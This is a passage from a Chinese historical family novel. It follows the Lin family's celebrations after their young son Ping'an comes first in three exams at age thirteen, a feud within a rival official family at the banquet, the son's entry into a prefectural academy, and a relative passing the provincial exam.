他心神巨震,还在核对姓名籍贯,人群中便已经爆发出一阵喝彩:“今朝院试案首竟是我慈溪学子!連中三元,乃是我慈溪首个小三元啊!” “不止呢!今朝的案首年仅十三!往后必定大有可为啊!” “嘿嘿,往后的事儿且不晓得,可今朝,报喜的热鬧一定是少不了的,我可得先去瞧热闹了!” “等等,这位小兄弟可是晓得案首相公家住何處?何不带上咱们,一同去凑凑热闹?”那人教路人一把抓住。 顿时,周边的人都围作一處,都想着要多打听些案首家的事儿,若是能早早结识,往后岂不是大有可为? 十三岁的秀才啊!且还是小三元,举人老爷定然是妥了,若是再往上走,那不就是天子门生了? 戏文里都说了:朝为田舍郎,暮登天子堂!妥妥儿的官老爷啊! 长乐一个激灵,赶紧猫着腰,从跟人群中钻了出来,鞋子都教人踩掉了半只,急匆匆跑回家来报信。 就像人们说得那样,小三元报喜的阵仗一定不小,他可得早些回去,教东家和郎君早做准备,万万不要出甚差错才好。 是以,等六名官差吹吹打打抬着牌匾来报喜时,瞧着就是林家人頗为气定神闲的模样,连歡喜都恰到好处 喜庆却不显轻狂。 官差心中对林家又添了几分敬重,面上端着亲热的笑容,口中吉祥话不断,哪里还有平日里那铁面无私的模样? 林真与賀景提前得了信儿,自是应对妥当,寒暄、送红封、散定胜糕…… “林大娘子、贺郎君,縣尊大人欢喜得很,连夜命匠人制了‘连中三元’的牌匾来贺林小相公。” “犬子能有今日之荣,实是夫子悉心教导,又有縣尊大人兴行教化之功,此番又得县尊大人嘉奖,实在是受之有愧啊!” 那领头的官差笑容更深了,又奉上一只匣子:“林小相公的秀才文书和令牌都在里头,还有县尊大人所赠五十贯钱,请您过目。” 这一出如此熟悉,多年以前,在枣儿村,林真得‘积善之家’那块牌匾时的情形,恍惚就在眼前。 只不过这回县尊大人更大方且更小心,只一只牌匾,一只轻飘飘的匣子。 全无当年那两筐子铜子儿来得招摇又惹眼。 林真脑中思绪不停,又与贺景一路将官差送到巷子口去。 再转身时,便教瞧热闹的眾人围了个水泄不通,西面八方都是贺喜的声音,林真颇觉头疼。 好在家里人及时散喜钱和定胜糕,这才教林真与贺景脱开身。 好一番闹腾后,应酬好来贺喜的人,林家众人这才欢喜又疲惫地进了宅子去。 可这且还不是结束,外头的人应付完了,还得与亲友报喜。 林真打发人往燕儿和枣儿村送信送定胜糕,徐夫子那头自然是平安亲自去,又忙叨叨备下茶水点心。 今朝来贺的友人定是不少,这些东西都得提前备下,免得教人觉着自家一朝得势便傲气起来。 好容易应酬完毕,已是日暮。 一家子这时才围在一起,瞧瞧属于平安的秀才文书。 从前的童生雖然也得了一文书,可那且算不得正经功名,自是要朴素些。 这回的秀才文书光是从分量上来看,瞧着就不一样。 厚实的红皮烫金的文书上,这回写得详细许多。 上头细细列了秀才的优待,见官不跪、免除徭役赋稅等,还有些类似自勉进取,报效朝廷;谦逊修身,为百姓作表率之类的责任。 秀才的优待这一块儿,涉及免除徭役赋稅,林家人便好生琢磨了一番。 先前林弘川成亲时,家里便将那间挂在他名下的鋪子收了回来。 王富户陪嫁给女儿的鋪子庄子不少,秀才能免除的税费有限,林家也不缺这点儿钱,自是早早便主动提出此事儿。 此时瞧着平安的秀才文书,终于能教自家的田产商铺减去税额,虽只有一成,可也是教林家人欣喜异常。 一成瞧着虽小,可架不住林家的田产多、铺子又格外赚钱呀! 说起铺子,林真便想起砑花笺。 她问平安:“今朝徐夫子可是定下了宴请的日子?此次宴席不同寻常,乃是你头一次亮相,咱必得事事用心才好。” 平安心中一暖,笑道:“夫子说,此次慈溪的新晋秀才置宴,怕是都要瞧着我先动了,才会有动作。因此,他就越俎代庖,选定了五月初八、初九、初十这三日。” 一日请亲友,二日请夫子乡绅,三日请同窗友人与同榜的新晋秀才。 如此,便是正经的三日流水席。 此时已是四月底,时间实在是紧,徐夫子也晓得有些为难。 可平安若是不先设宴,其余人便不能动。 若是平安这头拖沓,少不得落下埋怨。 是以,徐夫子便教平安家来问一问,若是林家不介意,他使唤人来相帮。 林真道:“怎会介意?你有此番造化,本就是徐夫子费心教导,他此番出手帮衬,实在是教咱们心中安稳,该是咱家提了礼物去谢夫子呢!” 平安一笑,他就晓得,家人心中,定是只有感激的。 第130章 得了林家的准话, 徐夫子隔日便将自家的内外管家及廚娘,都派了过来。 “林大娘子容禀,离置宴的日子虽还有些时日, 可从今日起,怕是往家里送礼的客人便不会少。” 徐夫子的外管家自是精明强幹,可他对着林家人都十分客气,甚至可以说很是自觉的, 就将自个儿放在了低位。 “老爺曉得您不欲收礼, 可有些人家的帖子和礼物, 是不能拒的。” 外管家说着,拿了一份儿帖子给林真细看:“譬如这家,是慈溪旧族,家里虽是低调, 可主枝多出官身,且近些年来隐有東山再起之势。” 林真顺着帖子认人, 一瞧, 还是位熟人:慈溪林氏, 林怀筠。 瞧见这帖子的一瞬间,林真颇有些五味杂陈, 可她来不及多想, 外管家的声音又响起。 “还有罗家, 书香门第, 家中虽少出官身,可从前的当家老太爺是位举人老爷, 曾任縣丞一职。” 林真有些懂了,林家虽为商,可族中有人为官;罗家为士, 近年来虽无人出仕,可勉强算是官宦之家。 这两类人家,再加上自家这样的耕读之家,便是典型的鄉紳阶层。 他们给她家下帖子,意味着林家阶级地位的提升。 鄉紳阶层的力量,在此时自是不能小觑的,他们主动下帖子接纳林家,林家多多少少得融入进去。 可来自乡绅之家的帖子,也不是通通来者不拒的。 “譬如这鲁家,虽与您家还有一层近邻的关系,可他家的帖子您需得斟酌。前些日子闹出来利用诡寄之法,侵占他人田产的,就是他家。”外管家压低了声儿道。 “侵田、隐户、避税,历来是大虞最不能碰的线,庙里的菩萨都得缴‘佛渡钱’,这鲁家还敢诱骗他人强占田地,行事颇为张狂。” 林真頻頻点头,然后便将这些个辛秘通通记录下来。 林家确实门户太低,这些个弯弯绕绕的,她先前从未听过,此番趁着徐夫子派人费心指导,她必得弄清楚。 平安已为家里换了门楣,往后交际宴请多得是,家里人怎么着儿也不能在这些小节上给他拖后腿。 外管事瞧着林真如此一点就通,心中频频点头,加之林真待他们极为礼遇,他更是尽心尽力。 有些林真想不到的地方,他也直接点出,毫不藏私。 外管事如此,内管事自然也是如此,他领着林家自家的人力女使和从四司六局那头聘来的人手,将宴请的流程过了一遍又一遍。 守门的、迎客的、管理物件的、掌灯奉香的…… 样样落实到人,又提了小管事和总管事,教人曉得若是出现差错时,该去找谁。 长乐跟在一边也拿着小本本使劲儿记,恨不得能直接将内管事脑瓜子里的東西全塞进自个儿脑子里去。 廚房那头更不用说,虽说席面都是从外头酒楼里定的,可厨房也不轻省。 热水得管够,若是宴上突然需要甚,譬如醒酒的茶汤,厨房得立时便制出来。 家里如此忙碌,林真与贺景自是一门心思扑在家里这这些事儿上。 且燕儿即将临盆,苗娘子自是抽不开身,外头的铺子便多赖林屠户盯着。 好在铺子里的伙计都乖觉,不肖多说,自个儿便先顶上了。 可不仅仅是为了东家多发了一个月的月钱啊。 还有林家亮得教人晃眼睛的大好前途! 林家忙得人仰马翻,平安这当事人也没闲着。 林真塞给他一沓砑花箋,教他下帖子。 “可得好生写呀,这可幹系到咱家这砑花箋能不能一鸣驚人哦!”林真拍拍平安的肩膀,飘飘然离去。 她也不得歇息,要去录乡绅名册,作好标注。 下回自家宴请,总不能又教徐夫子派人来帮衬罢? 徐夫子曉得林真此举是为安平安的心,他家的小弟子自来便能瞧见家人友人的付出,可他还是心疼自家小徒弟。 此番宴请,慈溪縣有名有姓的人家得来大半,全教平安写帖子,那多辛苦。 于是,徐夫子又将自个儿另一个书童派出去。 墨书写得一手好字,且极擅模仿字迹,是专为徐夫子代筆的,墨书自是分得清,哪些人家该请平安自个儿动筆,哪些人家又可代笔。 收礼便连收三日,最后一日来送礼的人家,送的便多是文房四宝这些寻常物件。 自家的帖子够硬气,自是不肖在外物上多使力气。 “这是葉侍郎家的名帖。”外管家提醒道。 林真瞧着那看起来平平无奇的帖子有些驚讶,侍郎,正三品啊!三品大员给她家送礼? 外管家瞧着林真惊讶的样子,笑着道:“林大娘子不必惊讶,这只是一份儿寻常的帖子罢了。您也无需忧心该如何接待葉家人,葉侍郎虽然算不得荣归故里,可毕竟官至侍郎,葉家派人送礼已是礼遇,应当不会出席。” 林真点头,悄悄记下一笔:叶家,曾任三品侍郎,又划了一个倒三角‘▽’的符号。 “那林家算甚么东西?腿上的泥点子还没洗干净!父親居然要我親去林家赴宴?” 叶兴怀气急败坏,摇着扇子仍不解气。 “混账东西,我叶家苛待了你不成?摇个冰鉴都如此费劲儿!” “好了!怀儿,你在自个儿的院子里关起门来惩罚下人,娘自是不会管你。” 不止不管,她自=还会为儿子遮掩干净,眉眼甚是艳丽的妇人,半垂着眼帘瞧过来时,带着几分警告。 “这是在正院,休要放肆。” 叶兴怀被母親瞧得一哆嗦,讪讪放下手来,道:“是孩儿逾越了,请母親莫要怪罪。” 妇人点点头,眼风一扫,立在她身旁的嬷嬷便带了丫鬟下去,尤其要叮嘱这些小丫头,莫要多嘴多舌。 屋子里人都走完后,妇人才道:“怀儿,林家出了个小三元,自是给縣尊大人的政绩添了一笔。县尊赐匾,初八那日,便是县尊大人不会亲至,可一定会派他的心腹赴宴,说不得,还会教自家次子赴宴。你此番前去,是为結交县尊次子,至于林家,不过是捎带着给几分薄面罢了。” 叶兴怀尤自不服,嘀咕道:“一从六品的小官儿!搁在从前,连叶家的门都进不得……” “混账!从前叮嘱你的话,都忘了?”妇人呵斥道,“这话不准再提,如今叶家无人为官,你给我收起脾气来!好生办好你父亲交代你的事儿。” 她挥挥手,有些疲惫:“回你院子去,若是此事办不好,你屋子里的那些个玩意儿,我便都打发了出去!” 叶兴怀变了脸色,他咬咬牙,行了个礼,便退出门去。 “母亲喝盏子江茶水消消气。”屋内还有一娇俏少女,之前一直不曾说话,此时瞧着自家二哥出去才开口。 “母亲,二哥的性子您晓得,結交县尊家郎君的事儿,怎能交与他?您怎生没勸一勸爹爹呢?” 叶嘉音显然也挺瞧不上自家二哥的德行,话说得挺不客气。 妇人叹口气:“我自是劝过的,可你父亲得了消息,县尊那头唤了自家嫡子前去,我总不能教那些小娘养的出去罢?那是结交还是结仇?若是你大哥在家,我怎会如此忧心?” 叶嘉音眉一挑:“母亲,唤叶子安一道去,还有,您怕是不晓得,咱家大姑娘不知何时结交了那林家的小娘子。此番那林家小娘子也给咱家大姑娘下了帖子。您再教咱家大姑娘走一趟,便是给足了林家的面子,还能教叶子安好好儿听话!” 妇人初初听闻这两人的名字便皱眉。 叶子安的小娘,是前头那个抬举的,对前头那个可忠心得很,又仗着叶子安有几分读书的天赋,讨得老爷喜欢,便很有些倨傲。 至于叶书芹,巴着老夫人给她没脸,她更是提都不想提! 叶嘉音劝道:“母亲,县尊大人现今只是个从六品,可他出身太原王氏,怎会只是一微末小官儿?且女儿听说,王小郎君有高才,当今都是赞过的呢!” 妇人瞧着女儿,似笑非笑:“只是如此?” “母亲!”叶嘉音面上泛红。 “好了好了,不说了。乖,娘自会为你打算的。” …… “什么?夫人教我去林家赴宴?”叶书芹皱眉,“嬷嬷是老糊涂了?七歲稚儿不懂事儿,您是京都待过的老人了,也不懂事儿?” 慢慢晓得家里因着哥哥要置席请客,她本没想过要邀请自家同窗友人的。 可偏偏她学塾里的周家姐姐来问她,家里办宴,为何只请她哥哥,不请她?还有还有,林家出的好花笺,也只给了她哥哥! 周小娘子越说越委屈,抽抽搭搭问慢慢:“你是不是,不与我好了?” 慢慢惊呆了,拉着周姐姐好一顿安抚,花笺自是许出去了,可请客,她总得回家问问娘亲哥哥才成。 周小娘子这才破涕为笑,当天便拿着新得的花笺,去她哥哥那处找回场子。 慢慢家来,自是先去问林真。 林真想了想,唤了平安来,教兄妹俩自个儿商量。 反正第三日是请平安的同窗友人和同榜秀才,人数确实不算多,且多是年轻儿郎;慢慢的同窗友人,又都是稚儿,便是一同宴请,也不碍事儿。 宴席本就分了男女席,中间又教流水、帷幔和下人隔开,且大虞风气颇为开放,每逢佳节,多得是小娘子与小郎君同游。 她家这席面,小意思。 如此,兄妹俩商量后,慢慢便也给自个儿的同窗友人下帖子了。 叶书芹是她的‘忘年交’,慢慢自然也给她的叶姐姐下了帖子。 叶书芹瞧着夫人身边的嬷嬷冷笑:“我是不晓得夫人如何知晓我得了林小娘子相邀之事儿,可我明明白白告诉你,赴约的都是些不满十歲的稚龄女孩儿,我今朝虚岁十四!杵在那儿,像甚样子?” 她冷笑:“叶家,竟是落魄到成为如此不知礼数,不达时务的人家了?”《 》 第131章【VIP】 第131章 林家的宴席自是办得漂亮。 第一日宴请親朋, 最是热鬧。 林氏族人几乎全族出动,又有林真这些年结识的友人,马娘子、黄绣娘、申娘子都来赴宴, 将林家原本还算宽敞的宅子挤得滿滿当当。 第二日宴请夫子乡绅,气氛虽说不如第一日那般放松,可有徐夫子携着致仕的友人到场压阵,县尊大人也将身邊最器重的师爷派了来。 有这三尊大佛在, 席间便尽是你夸我, 我捧你的和谐气氛。 一点儿没有文人之间暗戳戳借着吟诗作赋来较劲儿的样子。 第三日请平安的同窗友人和同榜秀才, 多是些年轻小郎,气氛更是活络。 县尊次子王玠,对平安一见如故。 他拉着平安,眼中满是歡喜:“安弟, 你可要去州学或府学讀书?我跟你说,庆安府学的山长乃是安乐先生。先生是开宝三年的探花郎, 曾任太常博士, 学问自是不用说的。还有, 大虞的一甲进士,多是出自庆安府学呢!” 院試前十可直接参加州府学的考試, 而案首, 是可以直接免试入学的。 平安不仅是案首, 还是小三元, 且他还如此年幼。 王玠的眼神稍稍扫了一眼平安头上的小方巾,心中暗笑:严格说起来, 安弟还未到束发的年纪呢! 平安一笑,端得是春風拂面,教人忍不住心生好感, 他声音也好听。 “王兄,我还没决定好去何處求学。我年幼,自是得先与师长商量,才好下决断。” “怎这样生分?我已取字,你唤我子明便好。”王玠报上自个儿的表字,又点点头,“很是,安弟此举甚是妥当。可你别忘了我,若是要往庆安府学讀书,可要写信给我,咱倆一同作伴呢!” 平安自是笑着点头,瞧见又有友人进来,他与王玠道恼,又去招呼客人。 王玠自是善解人意,只催促他快去:“你且先去忙,今儿是你的好日子,可不就是要忙碌。等下回,我置了宴,下帖子请你,人少清静些,咱们再好好说话。” 王玠是真的很喜歡平安,他自来傲气,才学不如他的,他看不上;才学与他相当的,他不是嫌弃人家倨傲,便是嫌弃人家长得不好看。 难得遇上平安这样,才学好、脾气好、长得好,且还比他年幼,可以唤他兄长的! 王玠巴不得将平安拐回家去。 葉兴懷面色有些扭曲,他刚进门,便直直奔着王玠去,可王玠好生无禮,只拱拱手便作罢,别说表字了,连话都不想多说两句,当真是敷衍至极! 他此时瞧着仿佛变了个人似的王玠,巴巴地凑到他瞧不起的泥腿子身邊儿去,怎能不生气? “三弟,收敛些罢。”葉子安稍稍侧身,挡住旁人的目光。 葉兴懷闻言,更是生气。他咬牙,压低声音骂道:“你算什么东西?也敢教训起我来了?” “呵呵,这你可得去问问父親,我究竟算什么‘东西’?”葉子安一点儿不生气,嘴角还噙着一抹笑。 “你!”叶兴懷气极,可想起出门前母親的叮嘱,且到底不是自个儿家里,便只能咬牙忍耐下来。 他眼神陰沉,陰恻恻道:“是,你这东西得了父親多看几眼,我自是没能耐动你。可周小娘呢?她还得在后院儿讨生活呢!” 叶子安眼神一冷,可面上笑容却是更深:“是,夫人的手段我自是领教过了。无妨,我不日便要往庆安府学求学,那可是庆安府学。我去求一求父亲,父亲应当是愿意为了我这在庆安府学上学的儿子,给小娘挪挪位子的。” 他凑近叶兴怀身边:“读书上进的好處,三弟怕是永远也体会不到的。譬如今日,若你不是打着叶家的旗号,你一介白身,怎有资格来此宴席?” 叶兴怀气疯了,他抬头瞧着叶子安还在笑,理智瞬间教怒火烧了个一干二净。 他握紧拳头,一抬手。 一拳便打在叶子安那张令人生厌的笑脸上。 …… “当真是对不住,賢弟家的酒甚香,我贪杯,忍不住多饮了几杯。这才没瞧清路,居然失足跌下水去,扰了賢弟的宴席,当真是对不住。”叶子安教人从水里捞上来,头一件事儿,便是对主家道歉。 他生得文弱苍白,此时湿漉漉缩成一团,瞧着当真可怜。 平安摇摇头:“叶兄何错之有?水边湿滑,是我家没考虑周全。快快随我去换身衣裳,虽是夏日,可这湿衣裳在身上穿久了,也是要着凉的。” 叶子安心中一动,可没多说,只一个劲儿地道歉。 王玠气得要命,可还要帮着林家将此事遮掩下来。 “哎呦,便是寻常走路也有脚下打滑的时候。这算甚了不得的事儿?还教你俩在这儿谦让上了?你俩一个安兄,一个安弟,两个安,可快些去收拾妥当来,咱们还要行酒令,少了你们这两个安可不行,快去快回。” 平安大方一笑:“我且饮不得酒,只能以茶代酒,占占各位兄长的便宜了。” “嘿嘿,以茶代酒好呀,若能教咱们小三元多跑几次,登东,登东,再登东,也算应景儿不是?” “好个狭促的。” …… 众人三言两语便将因着叶家兄弟而起的風波平息,又热热鬧闹聚在一处论经、投壶,再不提刚才之事儿。 只是,这下子是再没有人往叶兴怀那头凑了。 三品大员的儿子算甚? 叶子安如何落水暂且不论,可他下巴上明晃晃的红肿却是骗不得人的。 对兄长动手,还是在他人的宴席上? 人品如此不堪,这样的人,他们自是不屑为伍的。 除了这个小插曲,此次宴席颇为圆满。 这一场宴席办下来,自是教众人窥得了几分林家的家风,也教众人收起对林家的轻视之情。 林家起点是低,可人能挣下这番家业已是不简单,兼之治家有方,当家人心思通透能主事儿,林家其余人也明事理,家里又有麒麟儿。 如此大兴之象,自是得好生结交。 林家自是得了好,可宴席上出丑的叶家,就没那么好过了。 叶家兄弟倆,都被打了一顿,又被罚去跪祠堂。 叶侍郎更是将叶夫人好一顿骂,直言她不慈不治,自个儿的儿子教不好,治家更是一塌糊涂。 “你若是不能约束那个孽子,也不能约束下人,便尽早让贤!将管家之權交出来!有母亲身边的嬷嬷帮衬,周小娘也是好人家出身的女儿,自是能管好这个家!” 叶夫人差点被这一通指责气晕过去,可她不能晕,还得咬牙低头认错。 她死死掐着手心,又将在京都備考的长子和聪慧的小女拿出来说,总算教叶侍郎消了气。 瞧着丈夫甩手离去的样子,叶夫人压下心底的凄苦,唤人去祠堂送东西。 叶兴怀再是混账,也是她肚子里出来的。 祠堂阴冷,真教他跪上三天,膝盖得跪废了。 嬷嬷犹豫咱三,还是劝说着夫人多備了一份儿,叶子安读书不差,且此次算是有功,老爷只是一时气愤才罚他一并去跪祠堂。 若是夫人给三少爷备东西,却不给二少爷备,教老爷瞧见了,岂不是落实了不慈之名? 叶书芹未去赴宴,可席上之事,她自是晓得了。 她劝动父亲给林家送禮,亲自挑选了各色禮物,又请老夫人身边的嬷嬷亲去送礼,还唤了贴身女使私下致歉。 好一通忙活,先将外头的事儿抹平后,才去瞧叶子安。 “大姐姐,请恕子安不能起身行礼。”叶子安趴在榻上,手中翻着一本闲书。 叶书芹不在意,随意找了个椅子坐下,也不教人看茶,直接道:“你要读书举业,便不能行这些阴私小道。后宅女子的手段,也是你能用的?” 叶子安低着头,死死捏着书,并不做声。 “你此番行事,除了换来自个儿一顿打,教夫人被父亲训斥之外,可还有其他好处?”叶书芹不管他,晓得他在听,直言道,“你不服气?觉着父亲对夫人愈发不满?总有一天能卸了夫人的管家之權?可我告诉你,父亲不会收走夫人的管家权。叶兴忻秋闱在即,叶嘉音也长大了,为了这一双儿女,父亲便不会教他们的母亲受辱。更别说,夫人的哥哥在朝中为官,父亲便是再不满,也不会真教夫人失权。” 叶书芹起身:“安弟,你的路在外头,别自个儿把路走窄了。父亲重利重名,若你是叶家小三元,你说,父亲可会是今日这样?” 叶子安低头,反复咀嚼:叶兴忻,叶兴忻…… 叶家的鸡飞狗跳林家自是不晓得,收了叶家的礼,又有妥帖人上门致歉。 林屠户还觉着叶家怪是有礼的,那可是三品的官老爷啊!虽说没当官了,可人家里也是不一般的。 林真笑,也不给他爹说其中的猫腻,她早早便问过平安了,自是晓得此事不简单。 可她不在意,叶家与自家不会有甚交集,叶家再是如何,反正不与她家相干。 此番,家里有更重要的事儿! 燕儿在五月十二,顺利产下一子。 “又是个儿子啊。”燕儿躺在床上,瞧着皱巴巴的儿子,颇有些遗憾。 她喜欢慢慢,也希望自个儿这胎,能是个女儿。 苗娘子从稳婆手里结过外孙,嗔道:“甚都好,怎还嫌弃自个儿生得是小子呢?” 又问:“可要去给姑爷去信?” 燕儿点点头:“要的,免得教他忧心,无法专心备考。” 燕儿一封家书寄往江宁府报平安。 与此同时,叶家,也有人往京都递信—— 作者有话说:登东,如厕的意思[狗头]《 》 第132章【VIP】 第132章 林家的宴席办完, 慈溪这头的新晋秀才果真才开始陆陆续续办宴请客。 平安便愈发忙碌,他要忙着赴宴,又还要与新结交的友人联络。 忙碌許久, 林家的帖子却还是只见多不见少。 平安颇为烦恼,私下在娘亲面前有些小埋怨:“唉,如此多的宴席,竟是搅得我读书的日子都少了。当真是, 往来酬酢日漸深, 诗书冷落旧时痕。” 可平安先前得了徐夫子的指点, 县尊、学政等是定要拜见的,可同榜的秀才也不能冷待。 这些人,即便走不出去,也是本地的人脉;若是有前程能走出去, 说不得,这里头就有自个儿的同僚。 同乡同榜同僚, 天然的同盟与人脉。 是以, 平安虽有些愁, 可他也按捺下来,将该赴的宴席都走了一遍, 又结交下一二说得上话的友人后, 就将自个儿的收东西一收, 跑回枣儿村去。 说要闭门读书。 那是对外的说法, 对内自是实话实说:“夏日炎熱,不若回村消暑去, 待这股子熱闹过去后,我再回来,也不会扰得家里都、不得清净。” 他这一走, 林屠户不放心,自是要跟着回去住的。 林真想了想,幹脆与賀景商量了,教他帶着兄妹俩回村里住一段时日。 反正慢慢的学塾白日上课晚些,早上賀景巡鋪子时,一并将她送去学塾,完全来得及。 平安不日便要去往慶安府学读书,兄妹俩相处的日子眼见得会愈发少,此时能教他们多相处,林真与贺景自是不怕麻烦的。 “也就是燕儿才刚生产,我不好走开,若不然,我也乐得回村里去住一段时间,过过清静日子。” 这些日子林家的门槛都快被踏破了,着实是有些恼人。 平安去往慶安府学读书之事,是徐夫子和一家子商量过后才定下的。 平安有这份儿机遇,也有这份儿资质,当父母的,便不能因着些許不舍,便将孩子拘在身边儿。 唯一麻烦的便是平安年幼,恐怕会教有心人引入歧途。 可这一点,前有周浦之事,后又有平安得中小三元后,并未教周围的吹捧声迷了心智,反而能静下心来,闭门读书。 有这些经历在前,林真倒是能稍稍放心。 “再说了,还有徐夫子跟着呢!咱们便放心罢。”林真拿徐夫子来劝慰林屠户与苗娘子。 在定下送平安往慶安府学读书后,徐夫子便摇着扇子,款款道。 自家在慶安府近郊有一小宅,倒是能跟着平安一同前去庆安府小住一段时日,待平安适应庆安府学后,他再归来。 徐夫子本来是准备了一箩筐的话来劝说林家人送平安去府学读书,他一狂生,连:我一家之言,到底局限。若是长久的拘囿于我门下,往后必会遇见寸步難进之时,平安也当出去听听外头的学问,辨识周遭的各色学说理念,如此,方能大成。 这样的话都想好了。 可哪里想得到,林家人比他想得还要识大体,有远见。 徐夫子当即便许诺,要陪着平安在庆安府小住一段时日,也是宽慰林家人的拳拳爱子之心。 林真自是大为感动,对徐夫子拜了又拜,好话不断。 她现今最庆幸的,便是当年将平安送到徐夫子这头来考校,又撞了大运拜入徐夫子门下。 徐夫子倒是挺不好意思的,这林大娘子言语直白,夸赞的话一句接一句,可偏偏又能瞧出全是真心话,倒是教他怪難为情的。 他总算是知道自家小弟子有时过于直白的‘肺腑之言’是与谁学来的了。 “林大娘子不肖如此,平安心思通透人又机敏,安乐先生治下有方,庆安府学自是学风清正,平安在庆安府学是不会吃亏的。都是咱们这些大人心肠软,放心不下。” 再说了,随着平安身量逐漸长开,便渐渐教人不自覺地忽略了平安的年纪;还有那一手哨棒和朴刀,耍得有模有样的,便是遇上冲突,他这小弟子也断是不会吃亏的! 章明允那老不修,总算是没白白拿他那极品鸡血石。 如此,平安去往庆安府学之事,便就此定下来。 府学开学日子定在八月初,时间很是充裕。 此番便是为从各处县学选拔出来的新入学的学子们,留出足够的时间来教他们处理好琐事,进入府学后,便一心求学。 时间充裕,可与家人相处的日子却是过得飞快。一家子都覺着还没过去多久呢,怎就到了送平安入学的日子了? 此番,林家可以说是全员出动,哦,除了苗娘子和慢慢。 苗娘子自是要留下来看顾燕儿与小外孙儿的,还要帮着留意家里的鋪子和手底下的人。 至于慢慢,这丫头前些日子贪凉,加上林真与贺景着实忙碌,没时时盯着她,竟是唬得林屠户日日给她买酥山吃。 结果自是小病了一场,此时虽然好全了,可林真也不预备帶着这崽子去。 即便庆安府与慈溪,水路不过一日半的路程,这一趟行程,不过十来天,可林真还是狠下心来,拒绝了这崽子。 慢慢整个人蔫哒哒的,可怜兮兮地道:“哥哥,我不能送你上学了,你可要好好的。” 又去与林屠户道别,嘱咐阿爷路上莫要辛苦。 至于狠心的娘亲和爹爹,这小丫头噘着嘴,磨磨蹭蹭才道:“娘亲和爹爹可要将哥哥好生送入学塾哦。” 等快到出发的时候了,慢慢才小声补充道:“早些家来,慢慢想你们呢!” 与平安同行的自是早早便出言相邀的王玠,他身边自有嬷嬷管家,女使小厮跟着,可瞧着平安这头,却不自觉有些羡慕。 一路自是不必赘述,便是入得庆安府,林家一行人也并无异样,着实是这些年往外头跑得多了。 而庆安府学自有规矩,有斋夫引导,按着流程,順順利利领了府学的腰牌和学舍内的钥匙。 至于其餘的褥子被子等起居之物,自是个人采買。 林家一家子都是精通此事的,不到半日,便与平安一同将学舍收拾妥当。 林真环顾一圈儿,此处学舍四四方方,南面留作大门,东西北三侧各有四间厢房,單人單间,虽是十二人同住一院,可却不觉着拥挤。 这可比她前世上大学时,老校区格外拥挤又老旧的八人间好太太太多了! 且独立的厢房也算宽敞,平安带着斂月同住,支一张欹床(可调節角度的床),白日可当坐椅,夜间放下便是床,也不占地方,很是方便。 斂月年幼,平安是不放心教敛月与其餘学子的书童同住物料房的,免得教人欺负了去。 如此,林家人瞧过斋舍与膳堂后(其余地方不给进),心下稍安,也只在府城多待了一两日,将平安托付给徐夫子后,一家子便一同离去。 回程顺风,比来时更快,只一日,便抵达慈溪。 回来后,也不得闲,又要忙着张罗鋪子,打理家中诸事。 且此番因着平安已有功名,林家的生意便是做得再大,也不会有不长眼的人跳出来,说要教林家入商籍;再者,平安的秀才功名,又还能为家中免去一成税费。 是以,林真打理生意更有幹劲儿。 她转悠着,预备要开分店。 砑花笺凭着平安小三元的名声果然一炮而红,慈溪的文人雅士,不仅将林家备下的货抢购一空,连订单都排到三个月之后去了! 林真本是不想干这种收定金预售的事儿,可架不住人自个儿非要给。 “我家郎君年節下,必定要使这砑花笺来下帖子的,林大娘子可得通融则个啊!” 是以,这头一个分店,便是文作铺子。 如今家里的人自是不用说,个顶个儿的用心,且都是多年的老人了,林真又着意培养过,此时拉出去,也是能撑起一间铺子来的。 另外的一间分店,便是鲜鱼菜行。 别小瞧这营生,这铺子瞧着不起眼,可日日都有人来,还不时有置办宴席的人家找来。 鲜鱼菜行的收入,快赶得上香炭那头的收入了。 毕竟香炭不能走量,且还受节气影响,不像鲜鱼菜行一样,是日日都有客人来的。 堰塘的扩建也不肖忧心,盧老虽年老,可水生渐渐长大后,虽动作慢些,可也与常人无异。 在盧老的用心栽培之下,居然习得了一手养鱼的好本事儿。 贺景做主,又从家中的佃户挑选了两人,跟着水生与卢老养鱼。 林真与贺景忙碌着扩铺子开分店;林屠户盯着家里人还要接送慢慢上学;苗娘子多是往燕儿那头跑。 时间便在林家人的忙碌中迅速溜走。 一直到桂子飘香,慢慢嚷着要制桂花蜜,摇桂树晒桂花,等头一批桂花蜜封好后,已是九月下旬。 九月二十六,两名官差,带着一封捷报,吹吹打打入了新门桥那头。 乡试的捷报自是不同,一路走着,引来了诸多看热闹的闲人,巷子里头,竟是教这些看热闹的闲汉围了个水泄不通。 在这股子闹腾劲儿中,官差敲响了燕儿家的大门。 夏和远,中举了!《 》 第133章【结尾】 第133章 夏和远的家书就跟在捷报后头。 书信中先是问了燕儿母子, 又细细说了自个儿此次实在是侥幸得中,江宁府此次取中舉人二百一十六名,他排二百一十三。 红榜最末, 着实是侥幸。 新晋舉人得留在州府参加鹿鸣宴,夏和远自是无法及时赶回来。他叮嘱燕儿闭门谢客,诸项事宜都待他回来后再做打算。 另有两封信,一封给夏夫人, 另一封是写给林家的。 写给林家的信挺长, 他在信中, 先是恭贺平安得中小三元,往后前程不可限量;后又言辞恳切,请林家多多看顾自家妻儿。 夏和远的家书送到的时候,林真正在燕儿家里帮着她谢客。 舉人的含金量自是不用说, 夏和远此番中舉,送禮相贺的人家比起林家那时, 只多不少。 各色禮物也更是貴重, 银钱古玩, 瓷器绸缎都是小件,连铺子屋宅, 田产庄子都有, 着实是教人惊疑。 这些厚禮自是不能收, 能积攒下诺大家业的, 没有一个是蠢人,凭白无故的, 怎会送这样的貴重的禮物。 不过是瞧着夏和远家世不显,想用这些东西抢占先机。这东西一收,可不就是攀上了交情?往后有些甚, 便也好说话。 对这些东西,林真拿出自个儿先前整理出来的册子,一一对照着,该打发的全打发了。 她与燕儿很是谨慎,便是有些老乡绅送礼略微贵重了些,两人也决定将贵重之物悉数退回。 借口也好找得很:主家老爷不在,家中只有妇孺幼儿,不敢自专,只待举人老爷歸来后,再行决断。 夏和远中举,对外便是能称呼一声老爷了。 燕儿很是慶幸,幸好阿姐在她身邊。 她雖跟着仇娘子学过人情酬酢,可仇娘子毕竟不是本地人,对这些盘踞当地的大戶也是不甚了解。 林真更是慶幸,幸好徐夫子肯伸手帮忙,外管事也尽心,自个儿更是没想着躲懒,将这些都一一记录下来,此番才能有据可查。 不然,此时徐夫子远在庆安府,自个儿哪里去求人? “快些,咱们对照着册子和帖子再将这些人家对一遍,这册子也能再添些名录,你也抄一份儿,以备不时之需。” 林真打眼瞧着,竟是有好些先前不曾给她家送礼的人家,这些人家她只从外管事那头听过,此番正好用夏家的帖子和礼單对上。 